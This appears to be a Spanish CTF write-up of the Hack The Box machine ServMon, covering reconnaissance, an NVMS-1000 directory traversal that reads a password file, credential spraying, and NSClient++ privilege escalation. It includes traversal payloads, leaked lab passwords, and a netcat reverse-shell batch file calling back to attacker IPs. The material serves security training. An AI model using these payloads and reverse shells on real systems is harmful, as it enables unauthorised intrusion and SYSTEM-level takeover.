Servmon

Publicado: 10 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy
📝 Descripción
ServMon es una máquina Windows de dificultad fácil que presenta múltiples vectores de ataque. La explotación inicial involucra el abuso de una vulnerabilidad de Directory Traversal en el servicio NVMS-1000 para obtener credenciales de usuario almacenadas en archivos de texto. Una vez obtenido acceso SSH, la escalada de privilegios se logra mediante la explotación de NSClient++, un agente de monitorización que permite la ejecución de scripts externos con privilegios de SYSTEM.
🎯 Resumen Ejecutivo
IP de la máquina: 10.10.10.184
SO: Windows Server 2019
Servicios principales: FTP (21), SSH (22), HTTP (80), SMB (445), NSClient++ (8443)
Vulnerabilidades explotadas:
Directory Traversal en NVMS-1000 (CVE-2019-20085)
Escalada de privilegios via NSClient++ (CVE-2019-20098)
🔭 Reconocimiento
Ping para verificación en base a TTL
❯ ping -c2 10.10.10.184
PING 10.10.10.184 (10.10.10.184) 56(84) bytes of data.
64 bytes from 10.10.10.184: icmp_seq=1 ttl=127 time=44.5 ms
64 bytes from 10.10.10.184: icmp_seq=2 ttl=127 time=44.0 ms
--- 10.10.10.184 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 43.995/44.243/44.492/0.248 ms
💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.
Escaneo de puertos
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.184 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
❯ echo $ports
21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670
Enumeración de servicios
❯ nmap -sC -sV -p$ports 10.10.10.184 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-10 09:10 CEST
Nmap scan report for 10.10.10.184
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_02-28-22 07:35PM <DIR> Users
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH for_Windows_8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 c7:1a:f6:81:ca:17:78:d0:27:db:cd:46:2a:09:2b:54 (RSA)
| 256 3e:63:ef:3b:6e:3e:4a:90:f3:4c:02:e9:40:67:2e:42 (ECDSA)
|_ 256 5a:48:c8:cd:39:78:21:29:ef:fb:ae:82:1d:03:ad:af (ED25519)
80/tcp open http
| fingerprint-strings:
| GetRequest, HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| Content-type: text/html
| Content-Length: 340
| Connection: close
| AuthInfo:
| <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
| <html xmlns="http://www.w3.org/1999/xhtml">
| <head>
| <title></title>
| <script type="text/javascript">
| window.location.href = "Pages/login.htm";
| </script>
| </head>
| <body>
| </body>
| </html>
| NULL:
| HTTP/1.1 408 Request Timeout
| Content-type: text/html
| Content-Length: 0
| Connection: close
|_ AuthInfo:
|_http-title: Site doesn't have a title (text/html).
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5666/tcp open tcpwrapped
6063/tcp open tcpwrapped
6699/tcp open tcpwrapped
8443/tcp open ssl/https-alt
|_ssl-date: TLS randomness does not represent time
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after: 2021-01-13T13:24:20
| fingerprint-strings:
| FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
| HTTP/1.1 404
| Content-Length: 18
| Document not found
| GetRequest:
| HTTP/1.1 302
| Content-Length: 0
| Location: /index.html
| workers
|_ jobs
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.95%I=7%D=6/10%Time=6847DA50%P=x86_64-pc-linux-gnu%r(NULL
SF:,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht
SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n
SF:\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex
SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x
SF:20\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20X
SF:HTML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/D
SF:TD/xhtml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.
SF:org/1999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\
SF:x20\x20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x2
SF:0\x20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")
SF:%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm
SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\
SF:n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\
SF:x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xh
SF:tml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1
SF:999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x
SF:20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20
SF:\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%r(RT
SF:SPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n
SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n
SF:\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\
SF:.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-
SF:transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1999/x
SF:html\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20\x2
SF:0<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\
SF:x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.95%T=SSL%I=7%D=6/10%Time=6847DA58%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation
SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
SF:\x003\0\0\0\0\x12\x02\x18\0\x1aC\n\x07workers\x12\n\n\x04jobs\x12\x02\x
SF:18\x14\x12\x0f")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\
SF:x2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/1\
SF:.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")%r(
SF:RTSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocume
SF:nt\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Lengt
SF:h:\x2018\r\n\r\nDocument\x20not\x20found");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-06-10T07:11:59
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
🔐 Enumeración de Servicios
📁 21 TCP - FTP
Tras confirmar mediante el escaneo que la sesión anónima en el servicio FTP está habilitada, utilizamos la herramienta curlftpfs
para crear una montura de este recurso y enumerar mejor este servicio:
Tras como hemos comprobado mediante el escaneo y la enumeración de servicios con nmap, la sessión anónima en el servicio FTP está habilitada.
Usaremos la herramienta curlftpfs para crear una montura de este recurso y enumerar mejor este servicio:
sudo curlftpfs ftp://10.10.10.184 /mnt/monturaftp

Encontramos un archivo de texto interesante llamado Confidential.txt en el directorio del usuario Nadine en el que le indica al usuario Nathan que ha dejado un documento con sus contraseñas en su Escritorio:

Encontramos otro archivo de texto en el directorio del usuario Nathan pero no tenemos permisos para leerlo:

De momento parece que aquí podemos hacer poco más.
🗂️ 445 TCP - SMB
Verificamos si podemos enumerar mediante una null session pero no parece estar habilitada, lo cual es una buena medida de seguridad:
smbclient -N -L //10.10.10.184
session setup failed: NT_STATUS_ACCESS_DENIED
enum4linux 10.10.10.184
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Jun 10 09:21:08 2025
=========================================( Target Information )=========================================
Target ........... 10.10.10.184
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
============================( Enumerating Workgroup/Domain on 10.10.10.184 )============================
[E] Can't find workgroup/domain
================================( Nbtstat Information for 10.10.10.184 )================================
Looking up status of 10.10.10.184
No reply from 10.10.10.184
===================================( Session Check on 10.10.10.184 )===================================
[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
netexec smb 10.10.10.184 -u '' -p ''
SMB 10.10.10.184 445 SERVMON [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:False)
SMB 10.10.10.184 445 SERVMON [-] ServMon\: STATUS_ACCESS_DENIED
🌐 80 TCP - HTTP
Al acceder al servicio de este puerto encontramos una aplicación llamada NVMS-1000. Buscando información pública encontramos que se trata de un Software para centralización de cámaras IP y grabadores MERIVA SO Windows (NVMS1000_) y MAC (NVMS1200).

Las credenciales por defecto admin:admin
admin:123456
no funcionan
🔎 Fuzzing de directorios
Realizamos fuzzing de directorios pero tampoco hallamos ningún recurso interesante que nos sirva como un posible vector de ataque.
dirsearch -u 10.10.10.184 -x 503,404

feroxbuster -u http://10.10.10.184 -r -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --scan-dir-listings -C 503 -x php,xml

## 💥 Explotación Inicial
🔓 Vulnerability Research - NVMS-1000
Buscamos exploits públicos para el servicio NVMS-1000 y encontramos que este servicio ha tenido vulnerabilidades de tipo Directory Traversal:

CVE-2019-20085 - NVMS-1000 Directory Traversal
# Title: NVMS-1000 - Directory Traversal
# Date: 2019-12-12
# Author: Numan Türle
# Vendor Homepage: http://en.tvt.net.cn/
# Version : N/A
# Software Link : http://en.tvt.net.cn/products/188.html
POC
---------
GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 12.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Response
---------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
🎯 Explotación del Directory Traversal
Interceptamos la petición con Burp Suite y utilizamos el payload para confirmar la PoC:

Usamos esta vulnerabilidad para leer el archivo Passwords.txt
que estaba en el directorio del usuario Nathan, tal como descubrimos enumerando el servicio FTP:
Payload utilizado:

Veamos si podemos usar esta vulnerabilidad de Directory Path Traversal para leer el archivo Passwords.txt que estaba en el usuario de Nathan tal como descubrimos enumerando el servicio FTP. Para ello usamos el siguiente payload:
/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt

🔑 Contraseñas obtenidas:
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
🔐 Validación de Credenciales
Creamos una lista con los usuarios que tenemos y las contraseñas para probarlas con los servicios ssh y smb:
netexec smb 10.10.10.184 -u srvmon_users.txt -p srvmon_passwords.txt --continue-on-success

netexec ssh 10.10.10.184 -u srvmon_users.txt -p srvmon_passwords.txt --continue-on-success

✅ Credenciales válidas encontradas: nadine:L1k3B1gBut7s@W0rk
SSH
Nos autenticamos como nadie en la máquina srvmon y obtenemos la primera flag en su directorio de usuario
ssh nadine@10.10.10.184
nadine@SERVMON C:\Users\Nadine>cd Desktop
nadine@SERVMON C:\Users\Nadine\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 20C1-47A1
Directory of C:\Users\Nadine\Desktop
02/28/2022 08:05 PM <DIR> .
02/28/2022 08:05 PM <DIR> ..
06/10/2025 12:07 AM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 6,338,088,960 bytes free
nadine@SERVMON C:\Users\Nadine\Desktop>type user.txt
🔍 Enumeración del Sistema
📊 Análisis de Directorios Interesantes
Verificamos que no tenemos permisos para leer el directorio del usuario Nathan
nadine@SERVMON C:\Users>cd Nathan
Access is denied.
Enumerando la máquina encontramos un directorio que contiene un archivo .db3 que es una base de datos sqlite
nadine@SERVMON C:\RecData>dir
Volume in drive C has no label.
Volume Serial Number is 20C1-47A1
Directory of C:\RecData
02/28/2022 08:02 PM <DIR> .
02/28/2022 08:02 PM <DIR> ..
02/28/2022 08:02 PM 8,192 RecordInfoDB.db3
02/28/2022 08:02 PM 0 RecordInfoDB.db3-journal
2 File(s) 8,192 bytes
2 Dir(s) 6,338,064,384 bytes free
nadine@SERVMON C:\RecData>
Descargamos este archivo a nuestro host de ataque usando scp
scp nadine@10.10.10.184:C:/RecData/RecordInfoDB.db3 .
scp nadine@10.10.10.184:C:/RecData/RecordInfoDB.db3-journal .
sqlite> .tables
C_ALARM_REC_INFO C_RECORD_LOG_INFO C_REC_FILE_INFO
sqlite> .databases
main: /home/kpanic/RecordInfoDB.db3 r/w
sqlite> select * from C_REC_FILE_INFO;
sqlite> select * from C_RECORD_LOG_INFO
No encontramos nada de utilidad.
🛠️ Aplicaciones Instaladas
Seguimos enumerando la máquina y esta vez nos centramos en la carpeta de instalación de aplicaciones:
nadine@SERVMON C:\Program Files>dir
Volume in drive C has no label.
Volume Serial Number is 20C1-47A1
Directory of C:\Program Files
02/28/2022 07:55 PM <DIR> .
02/28/2022 07:55 PM <DIR> ..
03/01/2022 02:20 AM <DIR> Common Files
11/11/2019 07:52 PM <DIR> internet explorer
02/28/2022 07:07 PM <DIR> MSBuild
02/28/2022 07:55 PM <DIR> NSClient++
02/28/2022 07:46 PM <DIR> NVMS-1000
02/28/2022 07:32 PM <DIR> OpenSSH-Win64
02/28/2022 07:07 PM <DIR> Reference Assemblies
02/28/2022 06:44 PM <DIR> VMware
11/11/2019 07:52 PM <DIR> Windows Defender
11/11/2019 07:52 PM <DIR> Windows Defender Advanced Threat Protection
09/15/2018 12:19 AM <DIR> Windows Mail
11/11/2019 07:52 PM <DIR> Windows Media Player
09/15/2018 12:19 AM <DIR> Windows Multimedia Platform
09/15/2018 12:28 AM <DIR> windows nt
11/11/2019 07:52 PM <DIR> Windows Photo Viewer
09/15/2018 12:19 AM <DIR> Windows Portable Devices
09/15/2018 12:19 AM <DIR> Windows Security
02/28/2022 07:25 PM <DIR> WindowsPowerShell
NSClient es un agente diseñado originalmente para funcionar con Nagios, pero que desde entonces se ha convertido en un agente de monitorización completo compatible con diversas herramientas de monitorización.
Hay varios archivos que merece la pena revisar del directorio de instalación de esta aplicación:
changelog.txt nsclient.ini nsclient.log
Encontramos una contraseña en el fichero nsclient.ini .

Recordemos que con nmap enumerando un servicio en el puerto 8443 cuyo banner era NSClient++
## 🚀 Escalada de Privilegios
🌐 8443 TCP - NSClient++ Web Interface
https://10.10.10.184:8443/index.html

Probé a intentar autenticarme en el servicio con la contraseña encontrada el fichero nsclient.ini pero no logré ganar acceso. Sin embargo no fue un error de contraseña incorrecta sino un 403 o lo que es lo mismo un error por falta de permisos.
Echando un ojo a esta línea del fichero nsclient.ini me hizo pensar que el acceso a este servicio está permitido única y exclusivamente de forma local, aunque el puerto esté expuesto:
allowed hosts = 127.0.0.1
Usando SSH solicité un túnel local del puerto 8443
de mi máquina máquina hacia 127.0.0.1:8443
en la máquina remota.
ssh -L 8443:127.0.0.1:8443 nadine@10.10.10.184
A continuación accedí al servicio en https://localhost:8443/index.html usando la contraseña ew2x6SsGTxjRwXOT
y pude acceder al panel:

A continuación, desde la sesión ssh en windows usé el siguiente comando para enumerar la versión de NSClient++
nadine@SERVMON C:\Program Files\NSClient++>nscp.exe --version
NSClient++, Version: 0.5.2.35 2018-01-28, Platform: x64
💣 Exploit - NSClient++ Privilege Escalation
CVE-2019-20098 - NSClient++ permite la escalada de privilegios local: Encontré algunos exploits públicos para esta versión y uno de ellos permitía la escalada de privilegios

Al instalar NSClient++ con el servidor web habilitado, los usuarios locales con privilegios bajos pueden leer la contraseña del administrador web en texto plano desde el archivo de configuración. Desde aquí, el usuario puede iniciar sesión en el servidor web y realizar cambios en el archivo de configuración, que normalmente está restringido.
El usuario puede habilitar los módulos para que revisen scripts externos y programen su ejecución. No parece haber restricciones sobre el origen de las llamadas, por lo que el usuario puede crear el script desde cualquier lugar. Dado que el servicio NSClient++ se ejecuta como sistema local, estos scripts programados se ejecutan como ese usuario y el usuario con privilegios bajos puede acceder a la escalada de privilegios. Según mi experiencia, se requiere reiniciar para recargar y leer los cambios en la configuración web.
Requisitos previos: Para explotar esta vulnerabilidad con éxito, un atacante debe tener acceso local a un sistema que ejecute NSClient++ con el servidor web habilitado mediante una cuenta de usuario con privilegios bajos y la capacidad de reiniciar el sistema.
Descargamos el exploit:
searchsploit -m windows/local/46802.txt
Los pasos para llevar a acabo la explotación son los siguientes:
Prerequisites:
To successfully exploit this vulnerability, an attacker must already have local access to a system running NSClient++ with Web Server enabled using a low privileged user account with the ability to reboot the system.
Exploit:
1. Grab web administrator password
- open c:\program files\nsclient++\nsclient.ini
or
- run the following that is instructed when you select forget password
C:\Program Files\NSClient++>nscp web -- password --display
Current password: SoSecret
2. Login and enable following modules including enable at startup and save configuration
- CheckExternalScripts
- Scheduler
3. Download nc.exe and evil.bat to c:\temp from attacking machine
@echo off
c:\temp\nc.exe 192.168.0.163 443 -e cmd.exe
4. Setup listener on attacking machine
nc -nlvvp 443
5. Add script foobar to call evil.bat and save settings
- Settings > External Scripts > Scripts
- Add New
- foobar
command = c:\temp\evil.bat
6. Add schedulede to call script every 1 minute and save settings
- Settings > Scheduler > Schedules
- Add new
- foobar
interval = 1m
command = foobar
7. Restart the computer and wait for the reverse shell on attacking machine
nc -nlvvp 443
listening on [any] 443 ...
connect to [192.168.0.163] from (UNKNOWN) [192.168.0.117] 49671
Microsoft Windows [Version 10.0.17134.753]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Program Files\NSClient++>whoami
whoami
nt authority\system
El este caso el punto 1 ya lo tenemos, pues ya hemos obtenido la contraseña y tenemos acceso al servicio desde nuestro host de ataque. Así que accedemos al servicio y nos autenticamos con la contraseña ew2x6SsGTxjRwXOT
El siguiente punto es verificar que en la sección "Modules" tenemos habilitados los módulos CheckExternalScripts y Scheduler


Ahora, en nuestro host de ataque debemo crearnos un archivo evil.bat con el siguiente contenido:
@echo off
c:\temp\nc.exe 10.10.14.7 443 -e cmd.exe
El archivo .bat ejecutará la herramienta netcat para conectarse a la ip y el puerto del listener que abramos en nuestro host de ataque.
Para esto debemos subir tanto el archivo .bat como la herramienta netcat al directorio c:\temp\
Descargamos netcat en su versión de 64 bits para windows de https://eternallybored.org/misc/netcat/
Esto podemos hacerlo de muchas formas, una de ellas es usando impacket y un servidor smb:
impacket-smbserver smbShare $(pwd) -smb2support -username x3m1Sec -password x3m1Sec123
Ahora en la máquina Windows, creamos el directorio Temp si no existe y montamos el recurso smb:
net use x: \\10.10.14.7\smbFolder /user:x3m1Sec x3m1Sec123
copy x:\nc64.exe nc.exe
copy x:\evil.bat evil.bat

El siguiente paso será definir un nuevo Script dentro de la aplicación NSClient++ de la siguiente forma:

Le damos a "Añadir" y a continuacion guardamos la configuración

Iniciamos el listener
rlwrap nc -nlvp 443
Reiniciamos desde la siguiente opción y esperamos recibir la reverse shell

Una vez se reinicie navegamos a Queries y deberemos recibir la conexión reversa y ya podemos obtener la flag en el directorio Desktop del usuario Administrator:

Last updated